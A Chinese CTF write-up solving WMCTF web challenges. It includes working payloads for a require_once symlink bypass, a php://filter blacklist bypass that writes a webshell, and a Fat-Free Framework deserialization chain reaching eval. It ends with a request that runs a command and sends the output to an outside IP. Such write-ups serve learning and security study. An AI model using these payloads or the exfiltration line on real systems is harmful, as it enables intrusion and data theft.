image-20210321213604427

部分WEB的WP吧,划水了,嘿嘿。。加油加油!

WMCTF 部分WP


WEB:

Checkin1:

打开题目环境直接给源码:

image-20200802181336079.png

把源码down下来:

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

看起来似乎很复杂,但简单来想,这只是一个简单的签到题,不会很难。

于是直接 /?content=/flag 拿到flag:

http://web_checkin.wmctf.wetolink.com/?content=/flag

image-20200802181609493.png


Make PHP Great Again

打开题目环境,依然直接给了源码:

image-20200802181918688.png

这里是看如何bypass关于require_once函数的多次包含文件。

简单来说 require_once 函数对于多次包含判定的规则是按照文件的路径判断,而不是文件的内容。

也就是说在 require_once 函数包含了一个文件后,在PHP底层必然会有一个变量来记录这个文件的对应路径,以避免多次包含。

那么当使用多次软连接,比如linux 中的 /proc/self/cwd 这个目录多次重复作为文件的包含路径时,就有可能逃逸PHP底层记录的变量,达到多次包含的效果。

比如当使用以下payload时:

?file=php://filter/read=convert.quoted-printable-encode/resource=/proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/../../../proc/self/cwd/flag.php

也就是向路径嵌入了 20 次软连接后,成功读到 flag:

image-20200802184244543.png


Checkin2

题目源码和 Checkin1 的一样,不同的是 flag 名字换了,不能直接 ?content=/flag 读了。

先看一下题目源码:

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    file_put_contents($content,'<?php exit();'.$content);
}

得到以下信息:

  • 接收 content 参数,如果 content 文件存在则包含该文件
  • 无论是否成功包含文件,都会以 content 作为文件名,<?php exit(); + content 作为内容写入文件中
  • 题目过滤了部分过滤器的关键字(相当于过滤了过滤器)
  • PHP 7.0.33

刚开始看到过滤了不少关键字,第一反应是想将一句话归档到phar文件,再把phar文件内容上传,最后包含phar协议解压的文件内容,然而由于传入的content参数会作为文件名,而phar内容必然包含有\x00字符,以无法写入文件名失败告终:

image-20200802185852446.png

后来想过先补 ?> 然后用 string.strip_tags 过滤器把 <?php exit(); 清掉,然后再将压缩好的,无\x00字符的zilib压缩内容使用 zlib.inflate 过滤器将内容解压上,就比如以下的payload:

php://filter/write=string.strip_tags|zlib.inflate/resource=%20%3F%3EKLL%B4%B1%B7-%AE%2C.I%CD%D5P%89ww%0D%89VO%C9U%8F%D5%B4%06

然后再直接包含以压缩内容作为文件名的文件就好了,本地测试是成功了,但这里不得不说这题的环境是 PHP 7.0.33,PHP 7.0 版本使用 string.strip_tags 过滤器时会出现段错误(直接502),无法在题目成功复现:

image-20200802190049723.png

后来简单分析了一下 PHP 中 filter 过滤器的的源码,发现一个比较有意思的事情。

首先全局搜索 PHP_FUNCTION(urldecode) ,在 ext/standard/url.c 文件的大概 515 行位置,得到 urldecode 函数的调用的实现方式:

image-20200802190716587.png

看到这里是调用了 php_url_decode 的 PHPAPI,那么以 php_url_decode 作为全局搜索对象,继续查找有关该 PHPAPI 的调用函数,在 ext/standard/php_fopen_wrapper.c 文件大概 150 行位置发现一个很有趣的事情:

image-20200802191025962.png

在 PHP 处理过滤器的内置函数中,居然会对过滤器再进行一次解码,并且在对 I/O 流应用过滤器时,如果过滤器不存在只会返回一个 WARNING 级的错误。也就是说当传入一个错误名称的过滤器时,过滤过程仍然会正常执行,只是内容不会发生改变。

那么再看这个文件的大概 340 行位置,即是对 filter 流的处理源码,可以看到正是调用了上边所说的处理过滤器的内置函数:

image-20200802191406143.png

总的来说,当调用 php://filter 流的过程中:

php://filter/read={???}/resource=
php://filter/write={???}/resource=
php://filter/{???}/resource=

{???} 部分会多进行一次URL解码,并且当使用错误或不存在的过滤器时,该 php://filter 仍然可以正常执行,只是过滤的内容不会在错误的过滤那层发生改变:

readfile('php://filter/read=convert.base%36%34-encode|%32%33%33<这里可以藏任意字符>|string.toupper/resource=/etc/issue');

当使用以上代码时,得到如下结果:

image-20200802192145726.png

虽然过滤器是错误的,但仍然正常执行了,并且还进行了一次URL解码了。

那么题目中对于过滤器的关键字限制就可以轻易的bypass了,不过由于无法使用 string.strip_tags ,这里得用一些其他方式去讲 <?php exit(); 搞掉。

比如可以使用 convert.iconv 过滤器转换字符的编码:

php://filter/write=convert.ic%6%66nv.U%4%33S-2BE.U%4%33S-2LE|?<hp pvela$(G_TE1[)] ;>?/resource=dm.php

这里是将内容作为 UCS-2BE 编码内容转换至 UCS-2LE 编码的内容,对于 UCS-2, Linux 下默认是 UCS-2BE,而 Windows 则是UCS-2LE, 两者转换过程必然会造成一些字符的变化,比如这里模拟题目接收 GET[‘content’] 参数后的结果:

image-20200802192959517.png

可以看到 <?php exit(); 已经被吃了,并且也正确的写入了一句话。

image-20200802193114296.png

image-20200802193135176.png

QQ图片20201229211658.png

拿到了flag。


Make PHP Great Again 2.0

和 Make PHP Great Again 一样的源码,不过过滤了 /../ ,简单做一些变换就好了:

http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/?file=php://filter/read=convert.quoted-printable-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

image-20200802193552399.png


WebWeb

打开题目环境,只给了一串字符:

image-20200802193834684.png

简单扫描了一下,发现存在 www.zip 文件,将其down下来:

image-20200802194113130.png

得到一个 fat-free 框架,版本是 3.7.2,于是就down了一个正常的 fat-free 3.7.2,用 Beyond 4 进行差异比较,先在 index.php 发现给了一个反序列化接口:

image-20200802194517710.png

那么这道题应该就是考源码审计 + 反序列化了,先全局搜索可用的魔法方法,比如 __wakeup 和 __destruct ,在 lib/cli/ws.php 文件的 Agent类 中发现可利用点:

image-20200802194921974.png

看起来可用通过这里调用函数,不过传入的参数只能是对象类型。

再通过全局搜索,在 /lib/base.php 文件的 Preview 类中的 resolve 方法发现 eval 的执行:

image-20200802195149323.png

那么就可以组织一条路径了,由 __destruct 方法作为入口,通过一系列的动作到达存在 eval 的方法(resolve),接着执行 evalcode。

先回头看 __destruct 方法,

image-20200802210829483.png

这里需要满足两个条件,一个是 isset 即 $this->server->events[‘disconnect’] 必须是存在的,另一个是要求 $this->server->events[‘disconnect’] 必须是可可调用的。

由于 $this->server->events 是双寻址结构,要使得满足条件就必须让 $this->server 值为一个对象实体,这样才能够取到二次寻址的值(也就是 $this->server-events ),只要给 $this->server 指向一个定义好的,且没有 $events 变量的类(或原生类)就好了。

再看下边的调用,

image-20200802211345240.png

这里的 $func 变量获取了 $this->server->events[‘disconnect’] 的值,然后作为调用的方式,传入该调用方式的值为此类本身( $this 即当前的 Agent类),意味着传入的值是一个对象实体。由于传入的参数是一个对象实体,这样就不能够构造使用传统的PHP函数了。

幸运的是,当PHP在以形如 [{对象实体},{对象方法}] 这样的数组作为调用方式的时候(即 $func 的值为形如 [{对象实体},{对象方法}] 的数组结构),会去调用该{对象实体}的{对象方法}。也就是说,由上边所知的包含eval内容的方法(方法名为 resolve)是属于 Preview 类的,只要能够将 $func 构造成 [“Preview”,”resolve”] ,那么$func 实质上也就指向 Preview 类的 resolve方法了,我们也就可以由此处进入包含eval内容的 resolve 方法。

不过即便能够直接调用 resolve 方法,传入的参数是不可控的,且值为 Agent类的对象实体,这就得很详细的信息 resolve 方法的构成了。

那么先看 resolve 方法的参数构造:

image-20200802212406228.png

非常完美的构成方式,仅有 $node 参数需要传值,其他的参数均有初值,$func($this) 刚好可以将 Agent类的对象实体填补到 $node 参数上。

image-20200802212625877.png

除了 $fw 可能需要在构造 Preview 对象实体时稍微的照顾一下,上图所有的条件都可以用 resolve 方法参数的初值完美避开了。

image-20200802213936340.png

先继续看这两个条件,第一个条件 !$hive 是无法避开的了,这里会执行 $hive=$fw->hive(); 的语句,而假若 $fw 的值无法寻址到 hive() 方法,那么就会抛出一个 die 级的错误(PHP 仅有soap类可以逃逸),这就需要将 $fw 指向一个拥有 hive()方法的对象实体了。显然这里可以用 soap 来避开这个 die 级的错误,不过也可以在当前文件找到一个拥有 hive() 方法的类,那就是 Base 类:

image-20200802213311102.png

再看 $fw->ESCAPE , 不过这里可以不用管这个 ESCAPE,没有定义的常量默认值为 NULL ,就算这个常量的值有被定义,但 $fw->ESCAPE 的值如果事先没有给定,最后的值也是为 NULL ,第二个条件也就不会满足了。

那么接着看 resolve 方法剩下的部分:

image-20200802214013814.png

这里先是 extract 了 $hive 变量的值,而 $hive 变量是从上边第一个条件中 $fw->hive() 的返回值,那么假设将 $fw->hive() 的返回值构造成形如 [“node”=>”“] 的数组,再 extract 一下,下边的 $node 变量也就被覆盖成了 ,然后该 {一句话} 的值显然是不能满足 $this->build() 方法中的正则的,也就完完全全的将传入的值返回到eval中。

意味着刚开始传入的 $node 参数由 Agent类的对象实体覆盖成了 {一句话} 。不过这里在 eval 之前用了 ob_start(),也就是eval不能够有回显了,得用形如 file_get_contents(‘http:///?{result}’) 将执行的结果外带。

然而这题还有一个坑点,关于命名空间的跨越问题,其中拥有可利用的 __destruct 方法的 Agent类的命名空间为 CLS:

image-20200802215036529.png

而反序列化接口是在 index.php 页上执行的,不能够直接反序列化 Agent类,同时存在eval内容的 resolve 方法是在 Preview 类中的,如果直接反序列化,Agent类的 is_callable 会返回 False,且也无法直接通过 $func($this) 调用 Preview 类的 resolve 方法。

那么就得使用镶嵌序列化方式了,首先需要了解在反序列化时,如果类嵌套类的序列化值时的反序列化顺序:

  • __wakeup : 内→外
  • __destruct :外→内

即为在反序列化时类的结构的还原是从内到外,而在类销毁时的顺序是从外到内。

其实也很好理解,在反序列化时,如果A类(外类)的某一变量指向B类(内类),那肯定先恢复B类(内类),然后再回复A类(外类);在类销毁时,肯定先是A类(外类)执行完毕了,它的变量才会逐个销毁,这就是为什么B类(内类)会晚于A类(外类)销毁。

其次需要注意的是,如果一个类(A类)的变量指向一个非当前空间类(B1类),而这个非当前空间类(B1类)的变量又指向与这个类同空间的另一个类(B2类),那么就可以第一个类(A类)的方法也会被 is_calltable 视为第三个类(B2类)空间中可调用的方法(即B2类可以跨命名空间调用A类的方法)。

而在和拥有可利用 __destruct 方法的 Agent类中刚好存在同命名空间的 WS 类:

image-20200802220611568.png

简单说,整个跨命名空间的反序列化问题就基本解决了,思路是在 Preview 类中镶嵌 WS 类的序列化内容,然后再向 WS 类镶嵌 Agent 类的序列化内容,这样在反序列化过后,当 Agent类开始执行 __destruct 方法时就可以调用 Priview 类中存在eval内容的 resolve 方法了。

接下来是关于 Agent 类中详细的构造,继续看 __destruct 方法:

image-20200802221022646.png

这里要求 $this->server 必须为一个已定义(或原生类)且无 $events 变量的类,然后命名空间必须和 Preview 类同空间才可以。

那么可以看一下 Preview 类的声明构造:

image-20200802221325981.png

可以看出 Preview 类是属于 View 的子类,其中 Preview 类是没有 $events 变量的,那么再跟进 View 类:

image-20200802221532454.png

那么, View 类也是没有 $events 变量的,这里不妨将 Agent类的 $this->server 指向 View 类,然后在构造序列化内容的时候给 View 类构造一个内容为 [“disconnect”=>[{Preview 类的对象实体},{“resolve”}]] 的 public $events 变量(仅能够强行添加非 protected private 形式的变量,否则反序列化会出错)就好了。

然后是关于 $this->server->events[“disconnect”] 中的 {Preview 类的对象实体} 的构造了,

image-20200802222314607.png

首先 {Preview 类的对象实体} 中的 $fw 变量必须指向一个拥有 hive() 方法且该方法返回值能够控制成形如 [“node”=>”“] 数组的值,这里可以依靠 Base 类中的 hive() 方法,

image-20200802222612234.png

而在 Base 类中是有 $hive 这个变量的:

image-20200802222756264.png

那么只要将这个 private $hive 变量构造成形如 [“node”=>”“] 的数组,就可以在后来的 extract 函数将 $node 覆盖成 {一句话} ,而用于不满足 $this->build 中正则的规则会原原本本的返回到 eval 中,就可以执行 evalcode 了。

那么上最终的payload:

<?php
class View{
	public $events;
	
}

class Preview{
	protected $fw;
	function __construct($opt){
		$this->fw = $opt;
	}
}

class CLI_WS{
	protected $addr;
	
	function __construct(){
		$this->addr = new CLI_Agent();
	}
}

class CLI_Agent{
	protected $server;
	
	function __construct(){
		$b = new Base();
		$v = new View();
		$p = new Preview($b);
		$v->events = [
			"disconnect" => [
				$p,
				"resolve"
			]
		];
		$this->server = $v;
	}
	
}

class Base{
	private $hive;
	
	function __construct(){
		$this->hive = [
			"node" => '<?php eval($_GET[2333]);?>'
		];
	}
}


$P = new Preview(new CLI_WS());
echo urlencode(str_ireplace("CLI_","CLI\\",serialize($P)));

外带读flag:

http://webweb.wmctf.wetolink.com/?a=O%3A7%3A%22Preview%22%3A1%3A%7Bs%3A5%3A%22%00%2A%00fw%22%3BO%3A6%3A%22CLI%5CWS%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00addr%22%3BO%3A9%3A%22CLI%5CAgent%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00server%22%3BO%3A4%3A%22View%22%3A1%3A%7Bs%3A6%3A%22events%22%3Ba%3A1%3A%7Bs%3A10%3A%22disconnect%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22Preview%22%3A1%3A%7Bs%3A5%3A%22%00%2A%00fw%22%3BO%3A4%3A%22Base%22%3A1%3A%7Bs%3A10%3A%22%00Base%00hive%22%3Ba%3A1%3A%7Bs%3A4%3A%22node%22%3Bs%3A26%3A%22%3C%3Fphp+eval%28%24_GET%5B2333%5D%29%3B%3F%3E%22%3B%7D%7D%7Di%3A1%3Bs%3A7%3A%22resolve%22%3B%7D%7D%7D%7D%7D%7D&2333=exec(%27cat%20/etc/flagzaizheli%27,$e);file_get_contents(%27http://47.101.132.223:6555/evilread.php?f=%27.base64_encode(serialize($e)));

解码:

image-20200802223307324.png


​ 会变得更好的!一定会的!